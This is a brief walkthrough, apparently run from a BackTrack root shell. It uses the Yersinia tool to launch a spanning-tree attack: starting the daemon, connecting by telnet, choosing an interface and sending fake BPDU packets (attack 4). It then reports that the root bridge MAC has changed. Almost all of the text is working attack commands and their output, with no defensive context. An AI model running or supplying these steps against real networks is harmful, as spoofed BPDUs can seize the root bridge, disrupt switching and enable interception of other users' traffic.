Start Yersinia Daemon
root@bt:~#yersinia -D
Connect to Daemon (By Default: telnet [IP] [12000])
root@bt:~#telnet localhost 12000
Chose Interface
yersinia@bt:~# set stp interface eth0
Choose Attack Type
yersinia@bt:~# stp -attack 4 (Sends Fake BPDU Packets)
Change Detected
Normal BPDU Packet Before Attack
Fake BPDU Packet After Attack
It´s Change MAC Address 00:1d:45:a8:40:80 to 00:1d:45:a7:40:80
Done!!!